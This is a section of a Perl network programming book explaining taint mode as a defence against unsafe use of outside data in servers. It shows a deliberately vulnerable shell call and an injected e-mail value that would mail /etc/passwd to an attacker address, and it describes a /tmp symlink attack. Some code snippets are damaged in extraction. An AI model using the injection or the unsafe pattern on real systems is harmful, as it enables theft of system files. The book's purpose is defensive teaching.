Network Programming with Perl


 
Network Programming with Perl

By Lincoln  D.  Stein

Slots : 1

Table of Contents
Chapter  14.   Bulletproofing Servers

    Content

Taint Mode

Consider a hypothetical network server whose job includes generating e-mail to designated recipients. Such a server might accept e-mail addresses from a socket and pass those addresses to the UNIX Sendmail program. The code fragment to do that might look like this:

chomp($email =<$sock>); system "/bin/mail $email <Mail_Message.txt";

After reading the e-mail address from the socket, we call system() to invoke /usr/lib/sendmail with the desired recipient's address as argument. The standard input to sendmail is redirected from a canned mail message file.

This script contains a security hole. A malicious individual who wanted to exploit this hole could pass an e-mail address like this one:

badguy@hackers.com </etc/passwd; cat >/dev/null

This would result in the following line being executed by system() :

/bin/mail badguys@hackers.com </etc/passwd; cat >/dev/null <Mail_Message.txt

Because system() invokes a subshell (a command interpreter such as /bin/sh ) to do its work, all shell metacharacters, including the semicolon and redirection symbols, are honored. Instead of doing what its author intended, this command mails the entire system password file to the indicated e-mail address!

This type of error is easy to make. One way to alleviate it is to pass system() and exec () a list of arguments rather than giving it the command and its arguments as a single string. When you do this, the command is executed directly rather than through a shell. As a result, shell metacharacters are ignored. For example, the fragment we just looked at can be made more secure by replacing it with this:

chomp($email = <$sock>); open STDIN, "Mail_Message.txt"; system "/bin/mail",$email;

We now call system() using two separate arguments for the command name and the e-mail address. Before we invoke system() , we reopen STDIN on the desired mail message so that the mail program inherits it.

Other common traps include creating or opening files in a world-writable directory, such as /tmp . A common intruder's trick is to create a symbolic link leading from a file he knows the server will try to write to a file he wants to overwrite. This is a problem particularly for programs that run with root privileges. Consider what would happen if, while running as root, the psychiatrist server tried to open its PID file in /usr/tmp/eliza.pid and someone had made a symbolic link from that filename to /etc/passwd ”the server would overwrite thesystem file, with disastrous results. This is one reason that our PID-file-opening routines always use a mode that allows the attempt to succeed if the file does not already exist.

Unfortunately, there are many other places that such bugs can creep in, and it's difficult to identify them all manually. For this reason, Perl offers a security feature called "taint mode." Taint mode consists of a series of checks on your script's data processing. Every variable that contains data received from outside the script is marked as tainted, and every variable that such tainted data touches becomes tainted as well.

Tainted variables can be used internally, but Perl forbids them from being used in any way that might affect the world outside the script. For example, you can perform a numeric calculation on some data received from a socket, but you can't pass the data to the system() command.

Tainted data includes the following:

  • The contents of %ENV

  • Data read from the command line

  • Data read from a socket or filehandle

  • Data obtained from the backticks operator

  • Locale information

  • Results from the readdir() and readlink() functions

  • The gecos field of the getpw* functions, since this field can be set by users

Tainted data cannot be used in any function that affects the outside world, or Perl will die with an error message. Such functions include:

  • The single-value forms of the system() or exec() calls

  • Backticks

  • The eval() function

  • Opening a file for writing

  • Opening a pipe

  • The glob() function and glob ( <*> ) operator

  • The unlink() function

  • The unmask() function

  • The kill() function

The list form of system() and exec() are not subject to taint checks, because they are not passed to a shell. Similarly, Perl allows you to open a file for reading using tainted data, although opening a file for writing is forbidden.

In addition to tracking tainted variables, taint mode checks for several common errors. One such error is using a command path that is inherited from the environment. Because system(), exec() , and piped open() search the path for commands to execute under some conditions, a malicious local user could fool the server into executing a program it didn't intend to by altering the PATH environment variable. Similarly, Perl refuses to run in taint mode if any of the components of PATH are world writable. Several other environment variables have special meaning to the shell; in taint mode Perl refuses to run unless they are deleted or set to an untainted value. These are ENV, BASH_ENV, IFS , and CDPATH .

Using Taint Mode

Perl enters taint mode automatically if it detects that the script is running in setuid or setgid mode. You can turn on taint mode in other scripts by launching them with the -T flag. This flag can be provided on the command line:

perl -T eliza_root.pl

or appended to the #! line in the script itself:

#!/usr/bin/perl -T

Chances are the first time you try this, the script will fail at an early phase with the message " Insecure path... " or " Insecure dependency... ". To avoid messages about PATH and other tainted environment variables, you need to explicitly set or delete them during initialization. For the psychotherapist server, we can do this during the become_daemon() subroutine, since we are already explicitly setting PATH :

sub become_daemon { ... $ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin'; delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'}; ... }

Having made this change, the psychotherapist daemon seems to run well until one particular circumstance arises. If the daemon is terminated abnormally, say by a kill -9 , the next time we try to run it, the open_pid_file() routine will detect the leftover PID file and check whether the old process is still running by calling kill() with a signal:

my $pid = $fh>; croak "Server already running with PID $pid" if kill 0 => $pid;

At this point, however, the program aborts with the message:

Insecure dependency in kill while running with -T switch at Daemon.pm line 86.

The reason for this error is clear. The value of $pid was read from the leftover PID file, and since it is from outside the script, is considered tainted. kill() affects the outside world, and so is prohibited from operating on tainted variables. In order for the script to work, we must somehow untaint $pid .

There is one and only one way to untaint a variable. You must pattern match it using one or more parenthesized subexpressions and extract the subexpressions using the numbered variables $1, $2 , and so forth. Seemingly equivalent operations, such as pattern substitution and assigning a pattern match to a list, will not work. Perl assumes that if you explicitly perform a pattern match and then refer to the numbered variables, then you know what you're doing. The extracted substrings are not considered tainted and can be passed to kill() and other unsafe calls. In our case, we expect $pid to contain a positive integer, so we untaint it like this:

sub open_pid_file { ... my $pid = $fh>; croak "Invalid PID file" unless $pid =~ /^(\d+)$/; croak "Server already running with PID " if kill 0 => ; ... }

We pattern match $pid to /^(\d+)$/ and die if it fails. Otherwise, we call kill() to send the signal to the matched expression, using the untainted $1 variable. We will use taint mode in the last iteration of the psychotherapist server at the end of this chapter.

As this example shows, even tiny programs like the psychotherapist server can contain security holes (although in this case the holes were very minor). Taint mode is recommended for all nontrivial network applications, particularly those running with superuser privileges.


   
Top

Категории